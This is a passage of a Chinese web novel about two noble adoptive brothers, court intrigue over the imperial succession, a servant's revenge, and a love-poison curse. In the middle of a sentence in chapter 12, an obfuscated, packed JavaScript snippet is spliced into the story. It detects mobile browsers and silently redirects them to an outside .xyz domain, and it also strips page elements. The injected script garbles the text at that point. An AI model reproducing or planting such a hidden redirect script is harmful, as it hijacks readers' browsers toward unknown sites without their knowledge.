燕颂把醉鬼放下,撵进车里,淡声说:“不必。” 车门关上,马车起步,缩靠在角落的燕冬偏了偏头。他感觉到一股熟悉的注视,于是下意识地顺着那目光牵引的方向歪歪扭扭地爬去。 燕颂低头看着爬过来蜷在自己腿上的醉鬼,半边身子对着他,脸颊眼皮都洇着红,乍一眼像是刚哭过。他目光稍顿,拿白狐裘毯盖住燕冬。 街巷大多陷入黑梦,偶尔几句喁喁私语,车内一路无话,气氛安静。 突然,马车停下,常春春说:“王府尹这是才下差归家?当真辛苦。” “奉旨办差,不敢言苦。”王植音色清浅,如风过耳,“偶遇世子,不知可否叨扰一二?” 燕颂垂着眼,目光一直落在燕冬脸上,未动分毫,“介弟吃醉了酒,正在酣眠,不便请人上车叙话,益清勿怪。” “无妨,只是说几句话。”王植说,“国子学的事,下官听说了,还未感谢小公子仗义执言,护了舍妹。” 燕颂淡声说:“路见不平拔刀相助的小事,介弟也不是头一回做了,他不往心里去,益清与王小姐也不必放在心上。” 王植听出那话里的冷淡疏离,显然,燕世子不仅自个儿不想和王家沾边,也不悦瞧见自家弟弟和王家沾边。但他是来传话的,只得说最后一句:“叔婶想择日设宴款待,聊表谢意,不知世子意下如何?” 燕冬翻了下身,脸埋进燕颂的腰|腹。 燕颂顿了顿,伸手去阻隔燕冬的脸,却被后者枕在了掌心。呼吸喷洒,掌心酥痒,他指尖微蜷,却没抽手,说:“不必费心。” 王植便说:“请世子先行。” 常春春颔首以礼,驾车往前驶去,待行了一段路才说:“陛下明知您与王府尹有龃龉,却让他单独查安信侯夫人遇袭一事,圣意不明啊。” 燕颂指尖微微一扣,将燕冬的大半张脸捂得严严实实。掌心逐渐濡湿,直到燕冬蹙眉挣扎了一下,他才收回手。 逼人的窒|息感瞬间消失,燕冬眉心放平,很快又睡沉了。 “此事本就在雍京府的责权范围内,让王益清来查符合情理。事真是我做的,陛下也只会罚不会贬,若构陷我,那就是以权谋私、铲除异己,要往深了说……”燕颂点到即止。 “那就是王府尹在安信侯府和燕国公府之间选择了前者,原因是,”常春春想明白了,笑着说,“站队二皇子。” 二皇子的母亲德妃正是安信侯的亲妹,一条绳上的蚂蚱,可雍京府与审刑院、禁军司等衙门必须绝对忠于天子。 “王府尹是个聪明人,应当能明白陛下真正想提醒的是三位皇子。”常春春在角门前停下马车,下车开门,“那您说,安信侯夫人那事儿到底是谁干的?” 燕颂抱着燕冬下车,“想知道答案的是陛下。” * “是啊,到底是谁这么坐不住,”承安帝落子,“好难猜啊。” 他看向一旁端坐的白袍女子,“不妄,你来猜猜。” 燕姰正在琢磨棋局,闻言说:“鹬蚌相争渔翁得利,若论谁想借此事挑拨安信侯府和燕国公府的关系,该是三殿下和五殿下……臣猜五殿下。” 承安帝问:“为何?” “三殿下做事较为谨慎,五殿下不同,”燕姰指了指脑袋,“他做事随性,似有癫症。” 承安帝哈哈大笑,呛出两声咳嗽,燕姰连忙伸手替他拍背顺气。 承安帝摆手,言行亲和随意,只是个与小辈闲聊的伯伯,“无妨。朕倒觉得不是老三老五,痕迹重了些,像是故意让老三老五成为那所谓的‘渔翁’,好把水搅得更浑,甚至让两个‘渔翁’互相怀疑,关系恶化。至于朕这几个儿子嘛,各有各的好,但老二寡断,老三阴狠,老五无常,不好选啊。” 燕姰给承安帝倒了杯药,“六殿下不配吗?” “太小了,不合时宜。”承安帝稍顿,“你说,朕的老四……如今是什么模样?” “臣不知道。”燕姰将药杯端到承安帝面前,“但陛下随时可以召回四皇子,亲眼瞧瞧……不能不喝。” “‘宁做野间鹤,不居富贵檐’,这是明妃去时望着老四说的话。”承安帝在燕御医的盯视中咽下药,喉咙里蔓开一片苦涩。他笑了笑,“召回老四,她会怨朕。” “也许四皇子生来就是翻云覆雨之辈呢。”燕姰说,“臣的爹娘常说,爹娘的心愿只是心愿,儿女的路还得让他们随心而走。” 承安帝愣了愣,落寞地笑了笑,说:“京城里没有比你们家更惯孩子的。你们家里,逢春最甚,除了续明,其余人真是重话都舍不得说他一句。” 燕姰不觉得这样有哪里不好,反问道:“陛下也很喜欢冬冬,对吧?” “嗯,喜欢。”承安帝笑着吩咐一旁的内侍,“所以明儿把小家伙叫来,陪朕说说话。” 吕内侍体态富贵,皮肤白皙,白玉葫芦似的杵在一旁,闻言往前一晃,应声遵旨。 * 翌日,燕冬醒来后发现自己在熏风院,他瞪着熟悉的雕花床顶发了会儿呆,叫常青青进来。 “今早宫里来人,陛下传您午后入宫。”常青青端来托盘,伺候燕冬洗漱。 燕冬心不在焉地“嗯”了一声,栉沐更衣后出了寝屋。 廊下的人上前行礼,“世子走时吩咐厨房给您温着早膳。” 燕冬说不饿,“那个新来的住在哪儿?” 院里谁不知道小公子因着这个和世子大闹了一通,侍从闻言心一紧,轻声说:“侧院偏房。” 侧院偏房住的都是熏风院里的下人,燕冬“哦”了一声,“这人是干什么使的?” “茶匠贾德见过小公子。” 燕冬循声望去,看见从拐角转入廊下的宋风眠。 贾德,假的,够敷衍的。 “恰好没用膳,那就喝杯茶吧。”燕冬收回目光,转身向茶厅走去。 侍从暗道不妙,但也没法阻拦,忙示意贾德跟上,轻声提醒:“小公子是府里的活祖宗,你千万小心说话,莫要惹小公子不喜。” 燕小公子在见他的第一面就不喜欢他,明明白白,哪里还用得着他招惹?宋风眠面上温顺地颔首。 燕冬入了茶厅,在金丝楠茶几后落座,宋风眠随后跟进来,细腰长腿,身段风流,真像画本里修炼成人的狐狸精! 燕冬收回目光,四平八稳地说:“坐。” 宋风眠很惊讶,燕小公子身份尊贵,又对自己不喜,他本以为进去后至少要在桌边跪半天,遭些磋磨也都不奇怪,没想到燕冬竟肯赐座。 “谢小公子。”宋风眠撩袍入座,“您想用什么?” 燕冬对茶厅里的茶叶了如指掌,说:“庐山云雾吧,前些时候江州贡上来的,我还没尝过。” 宋风眠颔首,去架子上取了一罐茶叶,煮水温壶温杯,一席动作优雅利落,还真是个懂茶的。 “今年的茶叶不错,条索精壮。”燕冬放下茶罐,抬眼看向对坐的人,“你是弟弟,还是哥哥?” 宋风眠取了只玻璃杯,将热水倒入杯中,执壶的手指白皙纤长。他说:“回小公子,是弟弟。” “你 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他眉眼弯弯,唇红齿白,笑起来实在很明媚,恰似廊下那盆粉白十八学士,因此哪怕那眼底藏着不善,宋风眠也被这记笑容晃了一下。 燕冬端茶品了一口,说:“醇厚味甘,是好茶——得细品。” 宋风眠闻言也笑了笑,“在小公子眼里,世子是很容易被欺骗的人吗?” 燕冬的胳膊肘枕在桌上,指尖转了半圈茶杯,目光落在宋风眠脸上,“所以你想告诉我,大哥和你是互相利用,各有目的?” “我岂敢利用世子,世子又岂能容我利用他?”宋风眠说,“世子不过是不想让我落在有心之人手里罢了。” 燕冬说:“那你把四皇子的秘密告诉大哥了吗?” “世子救我、替我掩护行踪,我自然知无不言,只是,”宋风眠顿了顿,意味不明地说,“世子好像对这个秘密并不惊奇呢,仿佛……他早就知道。” 燕冬闻言静了静,“那你没用了啊,”他好奇,“大哥为何不干脆杀了你,让秘密彻底埋葬?” “是啊,”宋风眠看着眼前这只护食的小狼犬,起了逗弄的心思,他微微倾身靠近燕冬,狐狸眼上挑,露出点似笑非笑的意思,“为什么呢?” 燕冬眼皮微压,盯着宋风眠不说话。 常青青冷声道:“放肆!” “青青,”燕冬说,“让他说。” 宋风眠看了眼恨不得把自己瞪穿的常青青,那副护主的做派不来源于谄媚讨好,全然真心,看来燕小公子待身旁下人十分亲厚。 这样的人,重情。 “小公子,你有没有发现,你对世子的占有欲太强了,强得不似寻常兄弟。”宋风眠担心地说,“若是哪日世子娶妻纳妾,或是在外有了红颜知己,你会哭得很伤心吧?” 燕冬沉默几息,突然笑了一声。 宋风眠表情微敛,预感不妙。 糟了,小公子气疯了!常青青无声尖叫,浑身紧绷蓄势,随时准备应对撂蹄子撒野的燕冬。 “你有家室吗?”燕冬问。 这个问题突然又莫名,宋风眠愣了愣才说:“没有。” 燕冬说:“那你跟了我,好不好?” 宋风眠眼眶瞪大,“什么?” “跟了我”不止一个意思,可燕冬先询问宋风眠是否有家室,再说这句,听着好像就只有那一种意思,他要宋风眠做他的房中人。 小祖宗!常青青膝盖一软,直接跪在了茶垫上,这是闹得哪一出?! “你长得好,又擅茶道,养在身边既赏心悦目又有实际用处,不亏。”燕冬用指尖挑起宋风眠的下巴,认真打量了对方小会儿,“我待身边的人大方,规矩不多,比在这里松快。” 宋风眠盯着燕冬,竟然分辨不出对方是否在玩笑,讪笑道:“小公子,世子会弄死我的。” “我的人,哪有说弄死就弄死的?是不是呀,”燕冬抬眼看向出现在门口的人,犬齿微露,粲然的,“哥哥?” 12. 弟弟 日常议事结束,燕颂折身出了审刑院。马车停在角门,他俯身入内,吩咐回府。 燕颂兼管刑部和审刑院,每日公务堆积如山,若非紧要白日很少归家。常春春知道燕颂此时回家是为了谁,路上说:“小公子这回是真生气了。” “生气还有假?”燕颂说。 “这次不一样。”常春春琢磨着,“小公子很在意贾德,或者说,他很在意您与贾德的关系。” 燕颂翻着文书,随口道:“你不觉得他的在意不合常理?” “您和小公子太亲了,不能与寻常兄弟比。”常春春忍不住替燕冬说话,“小公子自小就依赖您,他说不准还是小孩子的想法,只是怕您有了知心人或是家室,就不会待他一如从前了。” 燕颂没有说话,车内也没有了翻阅的声响,气氛莫名沉默了下来。常春春直觉自己说错了话,但不知道错在哪里。 马车到达国公府角门,燕颂下车,径自回了熏风院。他远远瞧见次寝的门开着,燕冬已经起来了,果然,廊上的人上来说:“小公子没用早膳,现在茶厅,奉茶的是贾德。” 燕颂脚步微顿,转头走到茶厅门前,恰好听见: “你有家室吗?” 好似真的只是好奇,但燕颂一下就听出了这话里的恶意,不是对宋风眠,而是对他。 燕颂时常觉得燕冬像小狗,有脾气的那种,依赖亲昵自己的主人,但若是主人摸了别的小狗,它就会蔫儿,主人再不快些哄它,它就会龇牙,开始狂吠、冲撞、撒野,让主人也一团糟糕。 譬如现在。 “是不是呀,哥哥?” 燕颂对上那双漂亮的眼睛,它眼角的弧度柔软而恶劣。 宋风眠骤然偏头躲开燕冬的指尖,侧身朝门口行礼,下颌紧绷。 燕冬捻了捻指尖,端起茶杯饮完剩下半杯茶。他撑桌起身,说:“青青,走了。” 常青青的头已经埋到地上了,闻言颤巍巍地“诶”了一声,赶忙起身跟上。 擦身而过时,燕冬停住脚步,微微偏头看向燕颂,“大哥,能否割爱?” 燕颂接过侍从递来的毛领白披风,替燕冬披上,“别胡闹。” “我没胡闹。”燕冬说,“若大哥愿意,我自会征求爹娘同意。” 燕颂慢条斯理地系好手中的披风带子,替燕冬抚平肩膀处的布料,期间一直和燕冬对视。燕冬目光认真,不闪不避,像是真的要一闹到底,他不怒反笑,说:“可惜了,我不同意。” 不是不愿意,而是不同意,这三个字是一种上对下的命令和镇压。长幼有序,燕冬再次意识到他们之间的“不平等”,就好像他不能学大哥在自己身边安插耳目那样。 燕冬不太服气,“婚姻大事,自来是父母之命,媒妁之言。” 他搬出燕青云和崔拂来,可心里明白,宋风眠身份特殊,如今家里若论大事公事,当家做主的是燕颂。如果燕颂不同意,宋风眠离不开熏风院。 或许燕颂也是这么想的,收手时摸了下燕冬微鼓的脸腮,短促地笑了一声,鼓励道:“那你就去试试。” 燕冬莫名打了个哆嗦,推开燕颂的手,扭头就走。 “夜里早些回家。”燕颂叮嘱,燕冬好似没听见,步子倒腾得飞快,很快就没了影。 燕颂仍站着,目光掩在寒风里,婚姻大事,婚姻大事……呵,良久,他才收回目光,转身进入茶厅。 燕颂面色如常,但常春春几乎瞬间就察觉到主子心情不虞,忍不住把目光往地上垂了垂。 一人从屋顶跳下,一字不落地重叙了方才茶厅里的对话,包括宋风眠故意惹怒燕冬的那几句。 常春春忍不住看了宋风眠一眼,后者脸色愈发苍白,俨然没有料到屋顶上藏着耳目。 “世子恕罪,我只是和小公子闹着玩儿——” 燕颂突然伸手掐住宋风眠的脖子,隔着冰冷的指套,力道极重。 宋风眠听见自己的喉骨发出闷沉的“咔咔”声,毫不怀疑那只冷硬如铁的手再加半分力气就可以轻易捏断它。他逐渐无法呼吸,却不敢抬手去扭动、触碰燕颂的手,只能用目光认错、哀求。 “这样么,我还以为你是有意试探,倒是我误会了。”燕颂打量着宋风眠,皮囊的确不错,可哪里比得上他? 燕颂轻蔑地笑了笑,语气却温和,商量似的,“以后不要再和他‘闹着玩儿’了,好吗?” 宋风眠艰难地点头,燕颂一松手,他就跌倒在地,捂着脖子疯狂呼吸。 “他负气时说的混账话,你不要放在心上。”燕颂语气如常,仿佛方才的杀意只是宋风眠的错觉,“你安心待着,别乱跑,毕竟如今到处都是找你的人,不安全。” 这话的意思,宋风眠也听明白了——若是他敢靠近燕冬半步,燕颂就会让他死无葬身之地。 这对兄弟真有意思,小的怕大的房里有人,大的要把小的的婚事紧捏在手里,若不是兄弟俩,宋风眠都要以为这俩人是在互相吃味呢。 宋风眠面上不敢表露,哑声说:“小人记住了。” “你母亲和兄长的尸身已经被人从荒山上刨了出来,寻了个合适的地方下葬。”燕颂看着陡然抬头的宋风眠,“想报仇吗?” 怎么能不想? 怎么会不想! 宋风眠撕破了方才在燕冬面前的平静假面,猛地磕头三次,叩首道:“求世子慈悲,小人万死不辞!” “有这份心,事情就能办。”燕颂从袖袋里取出一枚素笺,手腕一转,素笺就飘落下去。 素笺落在面前,宋风眠撑起僵硬的肩膀,盯死了上面那三个字。 燕颂走到门口,望向院墙边的红梅,淡声说:“我这棋盘上就差一个子儿,你只需站对地方,我收盘之日就是你大仇得报之时。” 宋风眠说:“小人但凭差遣。” * 红梅傲立,燕冬坐在四方亭的窗前作画,六皇子坐在一旁的绣墩上剥栗子。 画罢,燕冬搁笔,衔住六皇子送来的热栗子,伸了个懒腰。 承安帝抱着汤婆子走到画桌前,一瞧,“线条流畅,赋色明丽,就是笔触太利——有戾气,谁招我们逢春了?” 陛下眼光锐利,燕冬却不能实话实说,暴露宋风眠。他肩膀一塌,说:“大哥说若是我此次罢馆考试跌出前五,明年就得在下学后多学一个时辰,我觉得他是个冷酷无情的男人!” 承安帝笑着拍拍燕冬的头,“你自来名列前茅,若是此次跌出前五,多半是心浮气躁、不专心读书的缘故,续明严格要求也是该的。” 燕冬拖着尾音,“哦……” “好啦,别耷着脸了,过来吃碗金玉羹,暖暖身子。”承安帝说。 燕冬和六皇子跟着回到桌前坐下,宫人很快端上两碗金玉羹,山药和板栗以羊汤煮成,汤色清亮,香气浓郁,是冬日里益气健脾的一道汤品。 “好香。”燕冬和六皇子碰了碰碗,小孩儿似的,承安帝喜欢看他笑,朝气蓬勃,一等一的明媚漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457008|169559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮。 “陛下,”宫人入内禀报,“二皇子来请安了。” “这个老二,最近来得很勤快嘛。”承安帝失笑,“罢了,来都来了,总不能饿着他,再端一碗吧。” 宫人应声退下。 燕冬小口啜着汤,二皇子很快就进来了,白裘锦袍,气度不凡。几位皇子承袭父母,长得都不俗,二皇子松风水月,论长相是最像陛下的。 二皇子磕头请了安,燕冬和六皇子跟着起身见礼。 “不必多礼。”二皇子朝六皇子点头,扶着燕冬的手腕把人打量几眼,“光映照人,身子大好了?” 燕冬说:“谢殿下关心,已经好全了。” 说话间,两人前后落座。 宫人端来金玉羹,二皇子握住碗身暖手,说:“今儿初三了,逢春的生辰要到了吧?” 燕冬说:“殿下有什么礼尽管送来,我照收。” 二皇子笑道:“早就给你备好了,届时准时奉上。” 承安帝也笑了笑,“过了生辰就十八了,有没有想过明年结业后去哪儿?” “没有,”燕冬坦诚道,“其实我不想做事。” “就想吃喝玩乐是不是?”承安帝见燕冬老实巴交地点头,不禁笑哼了一声,“奇哉怪哉,燕家怎么就出了你这么个小懒鬼!” 燕冬不反驳,哼哼唧唧地倒在六皇子背上,他比人家年长,论姿态倒更像个弟弟。 俄顷,燕姰带着今日的药来侍疾,燕冬叫了声“阿姐”,余光发现二皇子盯着她,目光微亮。 不好!燕冬心中顿时警铃大作。 晚些时候,走在和二皇子一道出宫的路上时,燕冬开门见山,“您是不是相中我阿姐了?” “燕三小姐清丽无双,医术不凡,让人欣赏。”二皇子俊脸微红。 “阿姐的抱负在岐黄之道,不在后院之间,她若嫁给皇子,就不能待在御医院治病救人、精进医术了。”燕冬觑一眼二皇子,觉得他并没有彻底死心,不禁有些感慨: 这个笨蛋! 纵观如今的朝局,燕三小姐身份特殊,除非陛下主动赐婚,否则谁敢打她婚事的主意,谁就是在拉拢燕家。况且她还是给陛下侍疾的御医,谁想亲近她,转头就可能被人戴上一顶“窥伺圣体”的帽子。所以这门婚事虽好,但也实在很危险。 这都看不透,还争什么储君之位嘛。 “就听我的吧!”燕冬说,“您都是府里有夫人的人了,就不要肖想我阿姐了。” “以三小姐的身份,自然要做皇子妃。”二皇子见燕冬拧眉皱脸、一脸谴责,不禁问,“怎么?” 燕冬知道这些凤子龙孙把自己后院的位置当做金饽饽,但阿姐志不在此,自然不屑一眼。 “皇子妃有什么了不起,对阿姐来说根本比不上七品御医。”燕冬严肃地说,“您几位都不许做我姐夫。” 二皇子也不同这小子生气,抬手戳了下他小髻上的汤圆绒球,说:“婚姻之事自来是父母之命媒妁之言,你这个当弟弟的,说了不算。” 当弟弟的说了不算。 燕冬复又想起燕颂在书房里说的话。 是啊,阿姐的婚事轮不着他做主,大哥谈情说爱自然也不用向他报备。 浓云遮日也似,俊俏漂亮的脸突然黯然了下去,燕冬转头走了,步伐沉重。 “诶?”二皇子见状纳闷又伤心,“真的就这么不想让我做你姐夫吗?” 燕冬头也不回,愤愤地,“昂!” 13.噩梦 二皇子的话无疑又在燕冬心上扎了一刀,他心不在焉、食不知味,晚膳只用了半碗米汤就洗漱钻被窝了。 和宝和常青青在外间大眼瞪小眼。 “都是狐狸精惹得祸!”和宝愤愤握拳,“我去教训他一顿,给小公子出气!” “别胡来,小公子自个儿都没教训他呢,你去耍威风就是踩咱们主子的脸面。”常青青叹气,“何况小公子在意的不是那个人,而是这件事,或者说,他真正在意的是世子。” 和宝似懂非懂,“那要怎么办啊?” 常青青也很无助,人家的兄弟债,外人插不了手。 当午站在不远处,听着两人喁喁私语,心里也有些纳闷,不知世子是如何想的。 听说小公子晚膳没怎么用,农生夜里过来询问。主屋一片漆黑,两人便绕到后廊说话。 “从宫里出来就更不好了,问了宫里的人,应该是二皇子说了什么。”当午说,“我不明白,主子为何不愿解释一句?虽说涉及密事,但主子何曾提防过小公子?小公子虽非心机深沉之辈,但也聪慧知分寸,不会冒失泄露什么。” “其实吧,”农生深沉地说,“我这回也没看明白。” “……”当午面无表情地盯着他。 农生咳了一声,摊手,“小公子虽说撂蹄子时声势很大,但世子出马必能将人哄好,可世子这回就是一句不解释,随小公子胡思乱想,实在奇怪。” 他们都是燕颂的亲信,虽说这么多年了仍不能看透这位主子,但燕颂疼爱燕冬这一点是始终不曾遮掩、改变的,为何偏偏这次不同? “或许,”当午斟酌着说,“小公子实在太依赖主子了,主子怕长此以往小公子分不清兄弟界限,所以借机敲打一二?” 农生摇头,“不像,世子也不喜小公子和王家姑娘走得太近。” 小公子依赖世子太过,世子对小公子的掌控欲又哪里不过了? “因为王植吧。”当午说。 “王植和家中关系疏离,待堂妹又能有几分真心?小公子哪怕和王家姑娘好,也影响不了半点。”农生思忖,“世子像是不喜欢王家姑娘这个人。” 可王嘉禧不论相貌品性都没什么值得诟病的地方,说来也真是怪了,莫非是天生不合眼缘? 两人凑在一起讨论了片刻,可惜世子心海底针,最后没得出什么靠谱的结论,农生只得先回熏风院复命。 熏风院灯火通明,常春春端着酽茶进入书房,燕颂没有批阅公务,正对着手中的荷包发呆。 说发呆也不合适,那漆黑眸里的东西晦涩难懂,压抑着太多情绪,竟让常春春莫名心惊肉跳。 淡青色的荷包,吊着真珠穗子,到燕颂手里有四年了,但他一直珍藏在匣子里,很少使用,所以瞧着崭新。 常春春将茶盏放在书桌上,无意间瞧了一眼荷包,上头是双燕齐飞的图样,绣工蹩脚,把两只亲昵的燕子绣得胖嘟嘟的。他不欲打扰燕颂,转身走出几步,脚下却突然僵住了。 双燕齐飞。 双燕……齐飞。 “怎么?”燕颂的声音响起。 好似猫在夜里飞檐蹿墙时突然目睹可怕的场景,常春春寒毛卓竖,猛地转身跪下。他浑身紧绷,不敢抬头。 世子莫不是?! 燕颂抬眼看向跪在雪梅织锦毯上的人,颇为欣慰,“你的脑子是要比他俩转得快些。” “……世子,”常春春语气干涩,“属下绝不会透露一字半言。” 燕颂不解,“你觉得我不该?” 不该什么,兄弟悖|伦吗?常春春艰难地说:“世子要做什么,从来没有做不到的。” 燕颂好整以暇,“做得到却不该做,是吗?” 常春春没有回答,只说:“您和小公子是亲兄弟。” 燕颂将荷包轻轻放入匣中,盯了那双肥燕一会儿才合盖落锁放回书桌柜里。他示意常春春起来,“我和他不是亲兄弟。” “可小公子将您当亲兄……”常春春一顿,突然明白世子为何不向小公子解释清楚了。 ——沸水煮青蛙。 世子真是用心“险恶”。 常春春暗自唏嘘,说:“可小公子天真不懂情爱,怕是开不了窍。” “不懂情爱?”燕颂说,“他不是和王家姑娘走得近吗?” 难怪世子好像不大喜欢王嘉禧,原来如此!常春春一下全明白了,他呼了口气,说:“小公子只是以同窗友谊待之。” “可王家姑娘不同,”燕颂想起那姑娘专注难掩欢喜的目光,淡声说,“少女心事,藏不住。” 常春春安抚道:“落花有意,流水无情,无用。” 燕颂看向常春春,“你在影射我吗?” 天可怜见,常春春慌忙说:“属下不敢,属下没有!” 燕冬凝视着他,常春春后颈瘆凉,足足几息后,燕颂才面无表情地说:“出去。” “是!”常春春不敢停留,飞快地撤了出去。 农生踩着踏道上廊,和惊如脱兔的常春春撞上,笑着说:“撞鬼了?” “差不多吧。”常春春滚得飞快。 奇奇怪怪,农生挠头,迈步进屋回禀。 * 燕冬吃不好,辗转反侧终于囫囵睡着后却也不得安生——他梦到了燕颂穿喜服的样子。 容貌端华、清贵英雅,专注地看着彩结另一端的人,笑意温柔、目光沉溺——这简直是一场华丽丽的噩梦! 燕颂有多赏心悦目,这梦就有多摧裂肝胆! 燕冬吓醒了,连回想都不敢,慌忙让和宝灌了一剂安眠药,再次强迫自己迷迷糊糊地睡下。 然而没多久,他又做了个梦,梦境一片昏暗,只有角落里留着一片朦胧昏黄,那里传来一点声音,是布料磨蹭的窸窣声和年轻男人的喘|息,幽沉低哑,隔着纱也似,若隐若现,朦胧不清。 “冬冬……” 男人唤他的名,如此亲昵,似与他隔纱相望,迷离缱绻,又似欲壑难填,想把他含入唇齿吞入腹中,抿化了嚼碎了融为一体。 燕冬又被吓醒了! 他抱着脑袋,掌心紧紧贴着耳朵,像是要阻隔男人如影随形却又含糊不清的暧|昧喘|息。 这谁啊这谁啊! 干嘛跑到他的梦里来发|春! 他怎么会做这样淫|佚的梦! “小公子!”和宝正趴在被窝里熬夜看话本,闻声立刻起身蹿入里间。借着夜灯一瞧,燕冬面色绯红,和宝吓了一跳,连忙摸他的额头,“您发热了?好烫!” 岂止脸烫,燕冬的脑子烫,五脏六腑烫,就连暖在被窝里的大腿 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“公子,您是做噩梦了吗?”和宝走到窗前,担忧地看着燕冬,那张脸最是明媚漂亮,一旦变得忧愁,就会透露出很招人疼的味道。他焦急地挠挠头,学着常青青的样子,像个知心的大哥哥那样轻轻拍了下燕冬的肩膀,“梦都是反的!公子别怕。” 燕冬被他老气横秋的样子逗笑,说:“我梦到大哥了……他穿着喜服。” 和宝正想说:那不是很寻常的事嘛,都说日有所思夜有所梦,公子您天天大哥长大哥短,梦见人家才不奇怪嘞。听见后半句立刻不假思索地说:“不可能!” 燕冬看着他,那目光带着赤|裸裸的期待,“如何不可能?” 和宝说:“国公爷和郡主没有给世子说亲的念头,陛下也没有给世子赐婚的意思,世子自己也没有想要成家的想法呀!” “如今没有,以后哪里说的准。”燕冬垂眼。 “这……”和宝无法反驳。 “喜服原来是那么红的,”燕冬皱了皱鼻尖,有些嫌弃,“没有大哥以前那些绯袍官服好看……但他做新郎官的样子也是极好看的。” 好看得有些刺眼了。 双手无意识地紧紧攥在一起,有冰凉的硬物膈在肉上,燕冬睫毛一颤,突然抬起手,红玉戒在夜灯下像条冬眠的玛瑙蛇,猩红,“留玉指环,并诗一首——我突然想起来,这玉指环还可以充作定情之物呢。你说,”他把手抬得高些,仰头疑惑地盯着它,“大哥以后也会给别人做一个,然后亲手为其戴上吗?” “当然不会!”和宝瞧着燕冬微微湿润的下睫,用铿锵有力的语气说,“这么多年,世子就给您做过,外人怎么能和您比!您才是世子爷的宝贝!旁人比不得争不了!” “是吧,”燕冬扯了扯嘴角,“我也这样想。” 可如今他想要的,好像不仅如此。 往左边望去,小径幽深,回廊曲折,廊前铺着草坪,紫藤花架后重檐深深,那是燕颂的寝屋,他们曾经昼夜相伴了十几年的地方。 “你已经长大了。” 那年分院子时,燕颂居高临下地说出了这句话。彼时他哭闹不止,如今仍不甘心,彼时他要接受长大了就得分院住,如今乃至以后是不是还要接受燕颂成家后就可能会与他分府?他突然又想起,明明当年连爹娘都没有这个意思,是燕颂自己提出来的,是燕颂在撵他。 燕冬盯着那重檐,突然有些“恨”燕颂了。 14.蛊毒 林子里血气弥漫。 燕颂不紧不慢地屈膝蹲下,打量着被自己踩在脚下的人。 “传闻燕世子枭桀阴忮,不入红尘,前者我不评价,可是后者嘛,”花十三郎穿着从冥婚新娘身上扒下来的喜服,一张男生女相的脸痴痴地笑起来,“燕世子当真心中无情吗?我怎么瞧你心不在焉心有所思心有所忆,满肚子愁肠!” 常春春给真正的冥婚新娘盖上披风,合掌闭眼念了段往生经,示意审刑院的人将人抬下去好生安葬。他起身侧身,清晰地瞧见花十三郎眼中的嫉恨。 “你这样的人竟然也会……是谁!是谁!”花十三郎引颈,拼尽全力却仍然无法靠近燕颂,燕颂脚下没有用太多力气,可他生来居高临下,与他们这种混迹江湖的野客有云泥之别。 “荣华么,皇帝那般器重你,莫不是要让你做他的女婿?你可不要上当,”花十三郎幽幽地说,“驸马无权,那简直是在要你的命!位高森寒,你但凡失去手中权柄,所有人都会争先恐后地扑上来吸你的血吃你的肉!啊,这就好比神仙堕入凡尘,说来其实也很美妙呢。” 这人疯疯癫癫,燕颂却始终很平静,“下的什么蛊?” 他抬起左手,手背上有一道血痕,很浅,但刺痛非常,不像是寻常伤口。 “情爱本身就像蛊,桃花如梦,可花红易衰,是为‘桃花梦’。这原本是一位前辈用来报复风流薄情郎的,中蛊者无欲无求则无毒,可若有欲有求,那必定是思念倍切欲望如炬,时刻想着和和心上人亲密相贴,否则便如蝼蚁噬心,痛苦不堪,最终心力交瘁而亡,多情风流者更是时刻倍受折磨。”花十三郎目光怨怼,“这样的蛊本对你无用,没想到啊,如今的你欲望囚身,活该受苦!” 燕颂闻言微微蹙眉。 “怎么不高兴,难道不是我为你做了嫁衣?你中了蛊,便有理由去和你的心上人卿卿我我,还是说,”花十三郎的表情逐渐狰狞,“燕世子您这样的人物,竟然也有不敢求的一天!到底是谁,什么风华绝代的人物,竟教你如此畏畏缩缩,有口难言!这不该是你,你不该是这样的,你——” “我和你不熟。”燕颂打断。 “承安十一年,秦州大旱,你奉旨代表常宁县学随行赈灾,在灾棚里亲手给了我一块梅子糖!承安十八年,”花十三郎哽咽,“你入刑部,到蜀地办差,是我揭了官府的悬赏榜,助你抓捕贼人!” “你主动揭榜,我予你赏金,本就是钱货两讫的买卖,谁也不必感激谁,更不必记着谁。至于秦州大旱,那年死了很多人,我记得。” 燕颂瞧着花十三郎,语气竟然很平和,像是在与人叙旧。 “我不喜吃糖,但家中幼弟喜欢,所以我自小养成了随身带糖的习惯。那年他才七岁,很离不开我,可赈灾事忙,秦州情况也难,我不能带着他。收到旨意那会儿,他抱着我哭得很厉害,眼泪鼻涕糊了一脸,我便与他说了秦州的情况,他听了后也很焦心,总算肯放我走了,临走时还给我装了一大匣子梅子糖,很天真地嘱咐我说,灾民渴了很久,可以给他们吃一颗生津解渴的梅子糖。” 彼时燕冬把他送到城门口,还是忍不住红了眼眶,但这回没有哭闹挽留,只是一手握着哥哥的手,一手抹眼泪。燕颂穿着县学学生的襕衫,简单地扎着髻,见状单膝跪地,好让弟弟伸手圈住自己的脖子。 “不哭。”燕颂摸着那毛绒绒的后脑,“你乖乖在家和二弟三妹读书,等我归家,期间家书不断,有什么都写在信里。” “嗯……”燕冬乖乖应声,因为此前哭了好几次,鼻音很重。他用小脸蛋蹭着燕颂的脸,因为很用力,挤出了嘟嘟的脸颊肉,“哥哥也不要渴着自己,多喝水,多吃糖,还要很快地给我回信。” 燕颂盯着眼前这张红彤彤的小脸,语气很郑重,“好,哥哥记住了。” 后来燕颂到了秦州,那是他第一次见到很多死人,十二岁的少年不够无畏,难免心生胆怯,于是他想起那双琥珀似的眼睛,想起那一匣子专门单独为他准备的梅子糖。 想到这里,燕颂的眉眼松了松。 